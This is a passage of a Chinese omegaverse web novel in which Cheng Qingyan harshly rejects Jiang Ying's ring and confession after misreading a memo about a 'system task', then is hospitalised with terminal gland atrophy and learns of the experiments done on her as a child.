今晚做的西餐,姜映厨艺好,动手能力强,西餐中餐都做的不错。 程卿言开了一瓶红酒,给自己倒了一杯,问道:“你要吗?” “我不用了。”姜映酒量不好,喝一点点就会醉,她等会儿还有正事要做。 程卿言没有劝她,自己喝了起来,一个接着一杯,很快喝了小半瓶,她酒量很好,从前不多喝,是因为酒精会影响腺体的稳定,此刻她已经处于康复阶段,不用担心这些。 她的神色很平静,内心也很寂静,可是她的脑子很乱,乱到让她觉得疲惫烦躁,此刻她也不是想喝酒,而是想麻痹大脑。 但是越喝越清醒,根本醉不了。 无尽的烦躁在她的体内迅速蔓延。 瞧见女生收拾好了厨房,朝着她走了过来,程卿言起身,直接拉起她的手腕往卧室走。 步子迈得很大,进屋后姜映还没反应过来,女人便勾着她的脖子倒在了床上,睡袍带子被拉开。 “姐姐…我…唔……”她的话没说,女人吻住了她的唇。 片刻后程卿言红着眼尾,紧紧抱住她,喘着气道:“我想要。” 姜映心口起伏着,深呼一口气道:“现在吗?” “现在。” 在姜映的计划里,今晚吃过饭后,她得先正式表达心意,而后再和女人亲密,计划赶不上变化,顺序改变了。 卧室的灯暗了,揉得皱巴巴的睡裙从床尾掉在地上,紫色和白色的贴身小布料又落在了睡袍上。 此起彼伏的呼吸声交错在一起。 “姐姐。” alpha深深浅浅地叫着女人。 窗外的雨一直没停,随着寒风落于竹叶尖上,滴答滴答汇聚着,淋湿了院子里alpha亲手栽种的青竹。 一个多小时后,雨势渐小,归于平息。 卧室内暖黄的夜灯亮着。 姜映吻了吻女人的鬓角,怜惜地听着女人的呼吸声,平时一般做两次就会停下,方才女人不松开她,一次又一次,嗓子都有些哑了。 几息后,姜映起身,给女人清理干净,又收拾了乱糟糟的卧室。 程卿言躺在床上,看着女生忙碌的身影,她们可以做|爱,可是她爱她吗。 闭上眼睛,脸埋进了枕头,片刻后耳边传来窸窸窣窣的声音,手忽然被握住,手指上多了一圈冰凉的触感。 是戒指。 “姐姐。” 姜映柔声叫了叫她。 程卿言睁开眼,坐了起来,看着女生微红的脸颊,又看了看手上的戒指,愣了几秒,在女生开口前,她淡淡道:“送我戒指做什么,要给我表白?” 还没说出口,就被猜到了。 姜映颤了颤眼睫,心跳有些快,紧张之余还有些不要意思。 程卿言:“你喜欢我?” 姜映诚恳点头:“喜欢,很喜欢。” 程卿言呵笑一声,手上的戒指已经染上了她的体温,冰凉转移到了她的心里。 送她戒指,给她表白。 又在做系统给的任务了,对吗。 无比讽刺。 如果她没发现真相,这会儿应该感到无比开心,像傻子一样,沉溺于对方的柔情表白中。 她的第一次心动,第一次如此认真在意一个人,居然只是一场可笑的系统任务。 姜映没有直接说她爱她,她很正式,从头开始,缓缓地讲述着她这段时间对女人感情的变化,刚开口说了几句话,女人就叫她停下来了。 程卿言不想再听下下去,打断:“别说了。” 姜映见她脸色不对:“怎么了?” 怎么了,问她怎么了,她心里不应该很清楚吗。 也是,她不知道她已经发现了,以为她还蒙在鼓里。 程卿言朝着她淡淡笑了笑,开口道:“姜映啊,你怎么能喜欢我呢,难不成你以为我喜欢上你了吗?” “我和你睡,是因为我有信息素紊乱,我需要alpha睡我,你不会因为这个就觉得我喜欢你吧。” “哦,对了,你刚才提到的我们在酒店的初次见面,你知道那晚我为什么会让你进屋吗,因为我认错人了,那晚余简予给我安排了alpha,我以为你是她,才让你进的房间,让你咬我的腺体。” “不是你,也会有其它alpha在我身边,上次你不是还和秦助理一起给我挑alpha吗,你忘了吗,在我这里你和她们没什么区别。” “你怎么会想着给我表白呢,居然还送戒指给我。” 程卿言冷笑一声,取下戒指打量几眼,喉咙很疼,血腥味在喉间蔓延:“这种廉价的东西,你觉得我会戴?” “当当”几声响。 戒指被随意丢弃在了地上。 寂静在屋内蔓延几秒,姜映耳朵嗡嗡嗡地响着,按在床单上的手紧了又紧,眼尾有些红,一时没反应过来,抿着唇无措地看着女人。 程卿言的心口泛起疼:“怎么不说话了,不是要给我表白吗,不是喜欢我吗,现在又不喜欢了?” 姜映胸腔起伏着,有些哽咽道:“我,我是不是给你造成困扰了?” 程卿言一愣:“什么?” 姜映嘴唇颤抖,深呼吸,卑微解释道:“你不用喜欢我,也不用回应我的表白,你可以有别的alpha,不用对我特殊,只要……” 程卿言问:“只要什么?” “只要你能让我陪在你身边就行了,只要你能快乐,我不在意这些。”姜映红着眼睛,说着她内心的想法。 不求身份,不用她喜欢她,只求待在她身边。 多么悦耳的情话。 多么感人的深情。 程卿言敢信吗,她不敢信。 即使姜映真的喜欢她,能喜欢到这种地步吗,她不觉得会,为什么那么想留在她身边,因为要做任务,不然就会受到惩罚是吗。 程卿言冷笑一声,凭什么要这么对她,她之前有多喜欢,此刻就有多恨。 她的傲气让她强忍着眼泪,继续冷眼道:“你想我快乐?你留在我身边只会让我困扰难受。” 姜映浑身一震,眼睫猛得颤动着,咬着唇看着女人。 为什么还要用这种眼神看她,像似受到了很大的伤害,很痛苦一般。 受到伤害的人不是自己吗,程卿言的腺体又开始疼了起来,她忍着痛,深呼一口气道。 “我说的还不明白吗,别出现在我面前了,我不需要你陪我,滚。” 第84章 放下 放下 第八十四章 卧室寂静无声,墙上的壁钟显示此刻是九点四十六分。 不算晚,地铁和公交都在运行,月泊林位于市中心,周围的人也比较多,这个点出去也比较安全。 程卿言额头上全是汗,在她说了“滚”之后,姜映便安静地离开了,走之前居然还和她说对不起,让她不要因为她而感到困扰,不要因为她而不开心。 真是可笑,她都将话说得那么难听了,为什么还要对她说这么温柔的话。 程卿言越是感觉她放不下姜映,越是在意,她就会更加愤怒。 荒谬的是,她赶走了姜映,居然在担心姜映如果完不成任务,会不会受到很严重的惩罚。 她觉得她自己疯了。 腺体疼了好几分钟,疼得她蜷缩在床上,占据了她所有注意力,让她无暇去想别的事情,后背的汗水浸湿了衣服,十多分钟后才缓了过来。 状态比较糟糕,发梢凌乱,脸色苍白。 程卿言深呼一口气,光脚下床,弯腰附身,沉默地在地毯上寻了一会儿,瞧见了丢掉的那枚戒指,捡起来放在手心,垂眸细细看着。 款式比较简洁,没有花哨的装饰,发现内侧还刻着她和姜映姓名的字母缩写。 戒指看起来不是买的,上个周姜映偷偷摸摸的,不是在准备生日礼物,应该是在做这枚戒指用来表白。 心口的酸意又涌了起来,眼尾微微泛起了红。 既然是任务,为什么要这么用心,要让她心动,要让她喜欢上她。 程卿言缄默片刻,拉开抽屉,将戒指丢了进去,片刻后去了浴室洗澡。 水雾弥漫,褪下衣物后,她垂眸看着姜映留在她的身上的痕迹,深深浅浅的吻痕,这些痕迹能代表什么,能代表对方很爱她吗,爱可以做出来吗? 程卿言不知道。 她不清楚姜映对她的那些好里有几分真情,又有几分假意。 如果今夜姜映不向她表白,没有刺激她,让她陷入失控的愤怒中,她觉得她可能会继续装作不知道,自欺欺人,一直这样相处着保持沉默。 即使是虚假的爱,也想留住吗? 真的疯了。 洗完澡,程卿言已经累得不行了,穿衣服的力气都没有,她不知道她为什么突然这么困,身体刚挨着床,直接睡了过去了。 * 冷风呼啸,雨后的夜更是寒冷。 从月泊林出来,姜映红着眼睛,沉默地在小区门口站了一会儿,眼尾的红没消散,挺翘的鼻梁又被冷风吹得通红。 程卿言不喜欢她,她会对此感到难受,但是她不会怨恨。 比起程卿言不喜欢她,更让她难受的是,她的喜欢,她的存在并不能让女人快乐。 她让程卿言感到痛苦了吗。 如果她安分一些,没有痴心妄想,今晚不提表白的事,对方是不是就不会痛苦了。 姜映情绪低落,内心很痛苦,在女人家里徒然听了那么些话,她茫然无措,无法理智的思考。 此刻走在路上吹了会儿冷风,已经清醒了很多,理智也慢慢恢复到正常水平。 不对劲儿。 肯定有不对的地方。 从稻村回来之后,她和程卿言就一直住在一起,每天都在见面,她能感觉到女人的开心,女人不可能因为她而装开心,所以这些开心是真实存在的。 她的存在,应该没有给对方带来痛苦。 那今夜是怎么回事? 她不会去纠结程卿言说的那些比较伤人的话,她只是在想,为何这些话会突然从程卿言口中说出来。 关键在于“突然”。 只是因为她要给她表白,听见了她说她喜欢她? 可是女人当时连话都没让她说完,就直接生气,情绪迅速转变,即使不喜欢她,不愿意接受她,拒绝便是,为什么会对她的“表白”生那么大气。 “表白”应该只是点燃女人怒气的导火线,不是根本原因。 女人不是情绪化的人,成熟优雅,平日根本不屑动怒,也很少有令女人失控动怒的事出现,其中一定发生了她不知道的事情。 走进地铁站,姜映进了车厢,抓着扶手站在角落沉思着,脑子飞速运转,女人是从什么时候开始不对劲儿的。 姜映细细回忆着这几日发生的事,眼睫颤动,认真分析着,最后将日期锁定在了昨天上午。 昨天是周日,女人是在十点左右起来的,起得比平时晚,但并没有睡多久,因为前一夜去医院处理何助的事情了,待在快天亮才回的家。 程卿言起来那会儿她正在客厅和周青月发消息聊天,讨论表白的事情,女人出来后她就放下了手机,走了过去。 女人主动吻了她,对她笑,吃了她做的粥,还说要玩她的手机,一切的互动都很正常。 变化出在哪? 好像是她从厨房出来,就瞧见了女人的脸色不对了,她还给女人量了体温。 当时她以为对方是累着了,没有休息好,不仅在担心何助的身体,还在为上一辈的事情烦忧,所以脸色才不太好。 吃了粥,女人便回房继续休息,她午饭做到一半,女人和她道别去了工公司开会,晚饭也没有回来吃,去医院看了何助,回来后的脸色也不好,而且早早睡下了,没有和她说太多话,相较于往日,她们的互动比较少。 今日她表白,女人就动怒了。 因此问题应该出在昨天上午,女人的情绪变化应该不像她以为的那样,是因为何助的事情,太累太疲惫,那到底是哪一步出了问题。 地铁的播报音响起,不知不觉中四十多分钟就过去了,已经到了大学城站,姜映抬眸看了眼,呼了口气,跨步走了出去,到了闸机处她拿出手机,正要扫码出站时愣了住。 手机。 女人看了她的手机。 问题出现在的手机上? “你还走不走啊,别站在出口堵着。”身后的人催促道。 姜映回神,抱歉地说了对不起,快速扫码出站。 地铁站离她家得走十来分钟的路,出地铁站那会儿才发现又下起了小雨。 姜映快步跑了回去,十分钟的路程缩短到了三分钟,爬上五楼,气喘吁吁开门进去,头发和衣服都湿了一些,但她没心思去管这些,拿出手机细细翻看着。 女人在她手机里瞧见了什么? * 一整夜睡得都不太好,程卿言做了很多梦,醒来后很疲惫,脑子昏昏沉沉。 没有姜映她连睡觉都睡不安稳了吗。 程卿言冷着脸,洗漱好后吃了阿姨做的早饭,坐车去了公司,上午连着开了两场会议。 结束时将近十二点,她和余简予一起去了公司食堂。 胃口不好,程卿言很快放下了碗筷。 余简予:“你吃这么点?” 程卿言说:“没胃口,不是很想吃。” 余简予细细瞧了瞧她的脸,觉得她脸色好像也不太对:“是不是身体不舒服,昨晚没睡好?” 程卿言嗯了一声。 余简予误会了,哈哈哈笑了几声,打趣道:“姜映不是不行嘛,现在行了啊,你们悠着点呗,年轻alpha体力旺盛,工作日就别玩到太晚。” 程卿言不想听见姜映的名字,转而道:“别笑了,快吃吧。” 余简予切了一声,以为对方不想让她笑话她,没有继续追问:“行行行,我吃饭。” 二十分钟后,两人一起上楼,余简予有份文件要程卿言签字,程卿言跟着她去了办公室,拿了文件,顺便说了会儿项目的事情。 “年后就开始吗,会不会太早了,我觉得晚一点也没事,你觉得呢?”余简予瞧着规划书上写着的时间,不是很赞同,提出了自己的想法,等了几秒钟,没人回应她。 嗯? 怎么回事? 她困惑抬头,才瞧见坐着沙发上的程卿言此刻满头是汗,神色痛苦地咬着牙,眉头紧紧皱着。 余简予迅速起身,慌忙走过去:“怎么了,哪不舒服?” 程卿言的视线已经开始涣散了,紧握着她的手,费劲地说了一句话:“腺体…去研究所……” 腺体在不舒服,余简予深呼一口气,迅速镇定,给秦助理打了电话,让她去车库等着的同时联系腺体研究所的人。 程卿言不能在公司出事,也不能让高层看出她有事,她让余简予给她擦了脸上的汗,强撑着下了楼。 这会儿是正午,大部分人都在休息,她们坐的是专属电梯,一路上遇见的人少,也没人瞧出程卿言不对劲。 坐上车的下一瞬,程卿言已经忍到极限,眼前一黑,意识消失,疼得晕了过去。 “程卿言!” “程卿言!” 余简予掀开她的衣领,指尖落在她腺体上,温度烫得吓人。 这是怎么了,不是已经在服用特效药了吗,马上就要康复了,为什么会突然烫成这样。 余简予不敢马虎,害怕出事,手有些抖,拿出手机直接给还在国外交流经验的孙影打了电话,连着打了三通,孙影才接起来。 她没有任何废话,言简意赅地说了程卿言此刻的情况,腺体泛红,滚烫,还有点肿胀,将人疼晕了。 孙影听后,立马做了决断:“你先别急,邹全还在研究所里,她会先处理着,我马上回国,随时保持联系。” 余简予应了好,挂断了电话,邹医生的电话打了过来,一路上一直保持着通话。 公司离研究所不是很近,平时得开五十多分钟的车,秦助理车技很好,在不影响安全的情况下,不断加速超车,提前了十多分钟到达了研究所的停车场。 邹全当年也程颐团队中的一员,值得信任,在得知程卿言此刻出现的症状后,随即严肃了起来。 程卿言服用特效药将近已经半个月了,腺体的状况一直在变好,按理说不可能出现这种情况。 肿胀,发红,高热…… 即使在从前,特效药研发出来前,信息素紊乱患者也极少有这些症状。 除非…… 邹全在腺体医学领域钻研了大半辈子,目前也是数一数二的人物,不可能不知道这些症状意味着什么,心随即提了起来。 希望不是她想的那样。 接到人后,立刻将程卿言从特殊通道送进了实验室,开始检查是怎么回事。 一个小时内,所有检验报告陆陆续续地出来,邹全看过后,眉头皱了起来。 余简予提心吊胆,问道:“怎么样了周医生,她有大碍吗?” 邹全道:“不是很乐观,不过目前已经稳定下来,你去守着她吧,我得去给孙影打个电话,等她回来再和她一起诊断,才能下结论。” 心中其实有了答案,但是她不敢相信,也想不明白为何会如此,事关重大,不能轻易下定论。 不是很乐观。 能让邹全说出这种话,余简予便知道了情况一定很严重,手有些颤抖,差点没站稳。 但是她不能慌,深深呼了一口气,先打电话安排好公司接下来几天的工作,必须由程卿言过目的工作,由何助理和她代为处理,别人问起,就说程卿言前段时间累着了,身体不舒服,得休息几日。 好在这段时间已经不是很忙了,还能应付过来。 安排好所有事情,余简予进了病房,担忧地看着床上躺着的人。 程卿言还在昏睡中,白皙的手背上扎着针,在输信息素紊乱患者专用的止疼剂和缓抚液。 额头上已经没冒冷汗,眉心也舒缓了,疼痛暂时得到了控制,但是人还没醒。 余简予一直在病房守着她,守到了晚上,程卿言还是没醒,孙影得凌晨三点左右才能到碚城。 等待期间,邹全来了很多次病房,一直在观察程卿言腺体的变化,程卿言的疼痛已经缓解了,腺体暂时稳定,但是一直没醒,原因是耗尽的体能精力无法支撑她醒过来。 一直不醒也不行,若是让其睡下去,不知道会睡到什么时候。 在晚上九点那会儿邹全决定给程卿言用体能剂,输的计量很小,不敢多用。 余简予询问:“用了药之后,多久能醒过来?” 邹全:“三个小时内。” 余简予点头,掌心里全是汗,秦助理带来了晚饭,她应付了几口,就吃不下了。 她在想要不要通知姜映来这里,但是程卿言还没给姜映说信息素紊乱的事情,如果她擅作主张说了,会不会影响程卿言对未来的计划。 思忖片刻,还是决定等程卿言醒了之后,自行决定。 不过让她纳闷的是,程卿言这么晚了都没回家,从中午到现在已经快十个小时了,姜映为什么一个电话都没打。 两人闹矛盾了? 不太可能,就姜映那温和的性子,而且那么喜欢程卿言,怎么舍得让程卿言生气。 余简予呼了口气,一边在病房守着,一边处理工作。 十一点半,她瞧见程卿言的手轻轻动了动,她立刻放下手机走到床边,瞧着对方睁开眼那瞬,眼睛红了起来,有点想哭。 程卿言有些虚弱,缓了几秒意识才清醒,看了看周围的环境,又瞧着余简予担忧的神色,开口道:“让你担心了。” “哪里是担心,我都快吓晕了,”余简予问她,“你感觉怎么样?” 程卿言如实说:“没什么感觉,就是有点累,我现在是什么情况?” 余简予道:“邹医生没说什么,等孙医生回来之后,才能下定论。” 得等孙影回来才能诊断。 程卿言颤睫,愣了几秒,轻轻呼了一口气,看来她的情况不是很好。 余简予见她沉默,安慰道:“你别想太多,孙阿姨还有几个小时就到碚城了,会没事的。” 程卿言朝着她笑了一下:“我知道了。” “对了,这事我还没通知姜映,你给她打个电话吧。”余简予提醒,即使不说发生了什么事,晚上不回去,也得通知一声。 程卿言摇头:“不用了。” “嗯?”余简予困惑,“为什么?” 程卿言目前不知道该怎么说这件事。 余简予问:“你们吵架了?” “差不多吧。”程卿言疲惫地呼口气,眼睫颤动。 余简予想问问原因,还没开口,邹全来了病房,给程卿言做了检查,细致地问了她的状况。 程卿言说完后又困了,问道:“我能继续睡会儿吗?” 邹全点头:“可以的,你想休息就休息。” 只要醒了一次,确定大脑是清楚的,就能继续睡了,也不用担心叫不醒。 程卿言点头,闭上眼睛,很快就睡着了。 这晚余简予和秦助理一直留在研究所,没有离开过。 孙影坐的航班延误了两个小时,五点半到的机场,余简予安排了人去接她,这个点路上车很少,一路顺畅,车速也快,六点出头就到了研究所。 没有休息,孙影直接来了病房,查看了程卿言的腺体情况,又安排几项检查,去确认她的猜想。 半个小时后,她认真地翻看着所有化验报告,神色越来越严肃,深深呼了一口气,拿着报告的手止不住地颤抖。 程卿言见状,道:“您直接告诉我吧,我是什么情况。” 孙影嗓子发干,无法接受,开不了口。 程卿言:“您知道的,我能看懂报告上的数据。” 如果对方不说,她可以自己看,昨夜是太累了想睡觉,没有精力看,此刻状态好了很多。 孙影作为医者她向来镇定,能平静地处理各种突发状况,可此刻她面前的人是程卿言。 于她而言不只是患者,还是她已故同事好友的孩子,她看着长大的人,无法保持镇定:“你的腺体再次开始萎缩……” 并且萎缩的速度特别快,比之前还要严重很多。 在特效药研发出来前,程卿言已经进入了腺体萎缩阶段,因此腺体才会失去活力,不再渴望alpha的信息素,身体的精力体能也在下降。 可是程卿言在服用特效药期间,状况有了明显好转,腺体在恢复活力。 体能精力也在变化,这些事情她的都知道,再过一段时间就能彻底恢复健康了,为什么会突然恶化。 特效药出了问题? 不可能,孙影能确定特效药没问题,肯定是成功的,几批试药者都恢复了健康,目前在服药的患者中也没有人出现程卿言这种情况。 药不可能有问题,那么问题就出在程卿言身上。 程卿言安静几息,不解道:“我身上能有什么问题?” 孙影忽然想起了一件事,眉心颤动,直接愣住了。 “孙阿姨?”程卿言叫了她几声。 孙影回神,脸色有些苍白,静了片刻,开口说了她知道的事情。 “你还记得你小时候来研究所住过几年吗?” 程卿言点头,她不满一岁时程颐和洛泠就将她带来研究所,她之后的每一天都在这里度过,没有同龄人,直到实验室爆炸,程颐洛泠离世,她才回到老宅生活。 年纪太小,她记不清事,但时至今日她依旧记得实验室消毒水的味道和视野中令人恐惧的无尽白色。 “当年发生了什么?”她问到。 当年的事知道内情的人很少,已经过了这么多年,孙影依旧记得很清楚,她无法忘记。 程颐洛泠作为医学界天才中的天才,在攻克了alph息素无能的第三年,洛泠怀上了程卿言,当时她们已经在着手专研omeg息素紊乱症了。 拥有着最强的大脑,和世界上最先进的设备,怀着程卿言时,她们就检查出了程卿言腺体存在基因缺陷。 而她们对于信息素紊乱的研究正好是从基因入手,能对胚胎的基因进行筛选改变,后续再继续进行实验,但是风险很大,谁也不能保证会成功,没有家庭愿意让孩子进入实验室。 程颐正要放弃这个理念,改变思路,重新寻找方法时,洛泠坏了程卿言。 程卿言成为了第一个试验者。 程卿言还未出生时腺体的基因便被干预过,出生后没多久,就被带来了研究所配合研究,进行了很多次实验。 由于研发过于复杂,孙影和邹全虽然是团队中的一员,当时也帮不上忙,提供不了思路,因此没有参与进去,偶尔协助做一些简单的事。 研究是由其余三人进行的,也就是程颐洛泠和袁喆。 研究进行了多久,程卿言便在研究所待了多久,几年后程颐和洛泠觉得这条思路是错误的,行不通,提出了要放弃。 但袁喆不认同,不愿意放弃,坚定地觉得她们的思路是正确的,离成功仅一步之遥。 都是天之骄子,痴迷于学术研究,观念发生了分歧,那段时间吵了很多次,有几次还打了起来。 腺体研究所的大部分经费是程氏集团赞助的,程颐不愿意进行下去,经费中断,袁喆即使不同意,也没有办法。 这个思路最先是由袁喆提出来的,得到了程颐和洛泠的赞同,才开始进行,最终又被终止,几年的努力全部白费,她认为是程颐害怕她的成就超过她,所以才叫停了,心里逐渐扭曲。 于是袁喆计划了实验室爆炸,打算带着大家一起死,最后活下来的只有程卿言。 程颐和洛泠原本已经跑了出去,为了救程卿言,又折返,最后和袁喆一起死在了爆炸中。 这个研究进行到一半的研究,外界并不知晓,实验室爆炸的真实原因知道的人也没有几个,程老太太为了维护程颐的声誉,将其处理得很好,都认为那是一场意外。 孙影也从没想程卿言提过这些事,不是好事,知道了只会徒添烦恼。 至于当年关于信息素紊乱的研究思路是否正确,无人知晓,但此刻研发成功的特效药医治不了程卿言,大概是因为腺体基因被人为改变过。 该怎么办? 孙影不知道,将事情的来龙去脉讲完后,病房陷入了寂静,她的内心在煎熬与愧疚,当年的研究虽然不是她提出来的,过程也没有参与,但她也没有提出任何反对意见。 如果她反对,坚定的反对,阻止这件事,程卿言小时候就不会来研究所生活,过着荒凉寂静的日子。 程卿言会拥有比较完整的童年,程卿言的信息素紊乱在这时也能康复,而不是…… 孙影懊恼着。 原来是这样,程卿言呼了口气,打破了寂静,开口道:“那我还有多少时间?” 孙影掌心冰凉,难受道:“最多一个月……” 如果前段时间不吃体能药,不那么累,也不碰特效药,按照腺体正常的萎缩速度,其实能有十个月的时间。 但那是“如果”,谁也没预料到会发生这件事。 一个月的时间,孙影能用这一个月做什么,她什么也做不了,她的能力有限,根本不可能在一个月内研发出专门治疗程卿言的药。 但也不能什么都不做,万一呢,万一有奇迹。 孙影红了眼圈,嘱咐几句后,便起身去了实验室。 余简予一直在病房里,没有说话,静静地靠着墙,听了所有的内容,强忍着流泪的冲动,正要开口安慰。 程卿言先一步道:“简予,我想自己待会儿。” 声音很轻,很轻,看人的眸光也很柔和。 余简予鼻尖一酸,嗯了一声:“那我出去了,你有事就叫我。” 程卿言点头,朝着她笑了一下。 余简予离开病房,关上门那瞬,眼泪止不住地往下流,她紧咬着唇没让自己发出声音,不去影响房内的人。 天已经亮了好一阵,由于是阴雨天,乌云密布,明明是上午,却似靠近黑夜的傍晚。 程卿言有些累,身走到窗边,缄默地看着地面上的枯叶。 苍凉空寂。 还有一个月。 她颤了颤眼睫,如果她不在了,姜映无法做任务,会不会要受到很多系统惩罚。 坏东西,真的很让人担心。 她要如何放下她。 片刻后,程卿言拿起手机发了消息:【别滚了,来见我】 第85章 别哭 别哭 第八十五章 一个月的时间太短了。 对她而言也太宝贵了。 程卿言浪费不起,虽然还在生气愤怒,可是比起这些,她更想见到姜映。 即使姜映对她的好是在执行任务,如果是爱她的,其中有一丝真心,那她也认了,她割舍不掉。 她想见她,想念她的温度和气息,想她陪在她身边。 程卿言静静站在窗边,无边的寂静在她体内蔓延,指尖抚着后劲的腺体,依旧有些恍惚。 明明就要好起来了,一切都在变好,她也计划了一些好起来之后要去做的事。 去蹦极,跳伞,爬雪山…… 看来都无法实现了。 她还有很多事情没体验过,有很多梦想没实现。 命运像是给她开了一个玩笑。 程卿言颤睫,轻轻叹了一口气。 只是站了一会儿,她就感觉累了,很累很疲惫,给姜映发了一条消息,又发了定位,便回床上躺着了,阖上眼睫,下一瞬便睡了过去。 * 女人在她手机里瞧见了什么。 姜映一直在思考这件事。 但她的手机里并没有任何奇怪的东西,平时她也很少玩手机,很少同别人闲聊,什么东西能让程卿言那么生气。 聊天记录? 姜映翻看了近些日子她和所有人的聊天记录,不是在谈工作就是在聊专业,她和周青月的聊天记录要丰富一点,但也只是在请教表白的事情,没有别的内容了。 从月泊林回到家这晚,她几乎一整夜没睡,认真地翻看着聊天记录,无果。 难不成和手机没有关系,是她猜错方向了。 天已经快亮了,大学城距离实习的科研院比较远,得坐一个多小时的地铁,她快速洗漱换衣服,出门上班。 一整天都有些心不在焉,期间也多次想给女人发消息,但女人还在生气中,并不想见她,如果她没找到原因,贸然联系,大概会让女人更生气。 不能火上浇油。 姜映忍住了,下班之后她没有直接回家,去了一趟月泊林,但是没有进去,在小区附近找了家咖啡厅,恰好能瞧见月泊林的大门,女人回来会从这里经过。 无法发消息,不能说话,但她还是得见见她,悄悄见一见也行,不然她会不安。 女人一般在七点出头到家,如果加班,十点左右才会回来,因此她六点五十就进了咖啡厅。 随便点了一杯咖啡和一份甜品,没有挪过位子,一直等着,等到了十一点,熟悉的车牌号依旧没有出现。 程卿言工作太忙,今天不回家了吗,要在公司留宿? 还是说不是因为太忙,只是不想回家,因为家里有她留下来的痕迹,女人不想见到这些痕迹。 姜映抿了抿唇,端起杯子,喝掉早已凉透的咖啡,酸涩的苦味在嘴里蔓延,一直散不开。 咖啡厅十一点关门,她不能再待下去,起身离开,低落地打车回了家。 快速洗了澡,又开始琢磨女人情绪转变的缘故,在脑子里细细回想她们相处的细节,昨夜没睡觉,又上了一天的班,实在熬不住,不知不觉中睡了过去,但也只睡了一两个小时。 醒来时天已经快亮了,坐地铁去上班,或许是这两日没休息好,地铁上人又很多,拥挤嘈杂,姜映出现了片刻耳鸣,耳朵里嗡嗡嗡地响,出了车厢才恢复了正常。 姜映往前走着,伸手揉了揉耳朵,好在只是普通的耳鸣,不是之前系统要出现时弄出的那种令耳朵又痛又响的电流声。 脚步忽然顿足。 系统。 姜映神色一愣,想到了什么,快速拿出手机,点进了已经有一段时间没有使用过的备忘录。 界面里最上端的那条是名为“女主程卿言”的备忘录。 这条备忘录她已经很久没有编辑过了,不可能排在最前面。 她的目光落在了左上角的编辑时间上——周天上午,也就是女人说要玩她手机那段时间。 姜映心口快速跳了几下,随即确定程卿言点进去看过了,在看的途中触碰到了屏幕,编辑时间才有了改动。 她记得她在这条备忘录里写了什么内容,她写了她的梦境,提醒自己程卿言很可怕,不能惹程卿言生气,在相处中得保证自己的生命安全,还提到了系统让她做任务,不做就会惩罚她…… 这条备忘录是在刚认识程卿言那会儿创建的,她当时对程卿言并不了解,也无法判断她梦境的内容是否真实,处于未知中,不想影响自己的平静生活,所以才记下了这些,用来分析。 自从她确定对女人的心意后,就再也没有点进去过了,被无数条新的备忘录压在了下方,因此也忘了删掉。 姜映恍然大悟,女人应该是瞧见里面不完整的记录,误会她对她所做的一切都是在做任务,都是因为系统。 所以才会那么生气。 找到了问题所在,姜映心跳很快,不爱拖延,得立刻解决误会。 她直接向领导请了假,准备给女人打电话,如果女人不接,她就给秦助理或是余简予打,问一问女人在哪。 如果她们都不接,或者接了但是不说,她就去程氏集团大楼附近守着,总能见到女人,她得当面解释清楚误会。 想好了解决方法,正准备拨通电话时,姜映抿了抿唇,又停了下来,再次认真思忖了几分钟。 如果要解释清楚这件事,就会提到她的来历,不她属于这个世界,是外来者。 姜映并不怕女人知道这些,也不是不能说,她只是担心世界女主知道了这些事情,会改变命运走向。 前段时间记忆刚出现时,她留在女人身边,也在害怕女人的命运会被她影响,好在并没有出现任何意外,悬着的心才稍稍落了下去。 要说吗,该如何说? 姜映陷入了两难的沉思中。 微信忽然响了一声,打断她的思绪,她拿起来看了一眼,眼睛瞬间亮了,居然是女人发来的消息。 程卿言:【别滚了,来见我】 程卿言:【定位分享】 腺体研究所。 女人为什么在腺体研究所? 去拿特效药吗? 姜映眉心皱了皱,来不及高兴,莫名有种不好的预感,随即回复了消息:【好的姐姐,我马上过来】 【姐姐你为什么会在腺体研究所,身体不舒服吗?】 【我还有十多分钟到站了,姐姐你在研究所哪栋楼?】 发了好几条消息,女人都没有回复,在去的途中,姜映心脏疼了好几下,又是以前那种结了疤的伤口突然裂开,鲜血涌出的感觉。 疼得她有些心慌,出了地铁站后,她迈着腿,快速跑去了腺体研究所。 到了门口,但不能随便进去,她没有通行证。 姜映给女人打了电话,没人接,于是给秦助理打了电话,很快秦助理便下来接她了。 瞧见秦助理那一瞬,她就意识到出事了,而且不是普通事情。 秦助理的脸色不好,眼眶是红的,情绪也比较低落,开口时嗓音也有些哑:“走吧,我带你上去。” 姜映捏了捏掌心,着急问道:“姐姐她怎么了?” 秦助理抿了抿唇,欲言又止,她只是助理,这件事不该由她告诉姜映,她道:“你等会儿自己问老板吧。” 快到程卿言所住的病房,正好碰见了从孙影办公室出来的余简予,余简予愣了愣,问道:“她叫你来的吗?” 姜映点头,内心不好的预感越来越强烈。 余简予呼了口气:“你去病房看卿言吧,她应该还在睡,你可以等等。” 给她们相处的时间,她这会儿就不去病房了。 姜映应了声好,越靠近病房,心口的疼就越明显,有些喘不过气。 秦助理送她到门口,也没跟着她进去。 姜映深呼一口气,缓缓推开门,脚步很轻地走到了床边,瞧见了静静躺在床上,脸色苍白的女人,女人搭在被子上的手背正输着液。 很虚弱,薄薄的一片,如果不是能感受到她的呼吸…… 姜映不敢往下深想,她们只是一天没见,女人为什么变成这样了,发生了什么? 这里是腺体研究所,信息素紊乱出现问题了吗,可是已经在服用特效药了,前段时间已经有了好转了,她看了那么多论文,私底下研究了那么多有关特效药的报告,很清楚患者在服药期间会出现什么变化。 这些变化她都在程卿言身上感觉到了,为什么会突然出事? 是因为她的缘故吗。 因为她靠近了她,命运被改变了? 姜映暂时无法确定,眼眶微微泛红,担忧着急,坐在床边静静等着女人醒来。 * 这一觉睡得很沉。 程卿言做了一个梦,梦里好像有姜映,在众人面前明媚活泼的姜映,脸长得和姜映一模一样。 可姜映面对别人的时候都是安静居多,怎么会活泼成这样。 这是姜映吗? 程卿言想走进一点看看,想叫住她,很快她就发现,她无法靠近她,只是很短的一段距离,但她走不到她身边。 姜映似乎也发现她了,回眸,温和柔情地朝着她笑了笑,众人随着姜映的目光也看向她,片刻后笑着朝着她走了过来,所以人都走到了她身边,和她站在了一起。 只有姜映一直留在原地,对她挥了挥手,笑着转身,如同彻底放下心,独自朝着另一个方向走去。 很平静,但又带着淡淡悲伤的一个梦,她不知道那是不是姜映,给她一种既陌生又熟悉的感觉。 梦中的姜映消失后,程卿言好似睡饱了一般,眼睫颤动,缓缓地睁开了眼。 姜映的脸出现在她视野里。 “姐姐。” 她听见女生叫她。 程卿言指尖动了动,抬手摸了摸女生的脸,温暖细腻的触感让她进入一片舒适中,刚睡醒,脑子不是很清醒,她有些分不清是不是梦。 如果是梦,她不想醒来。 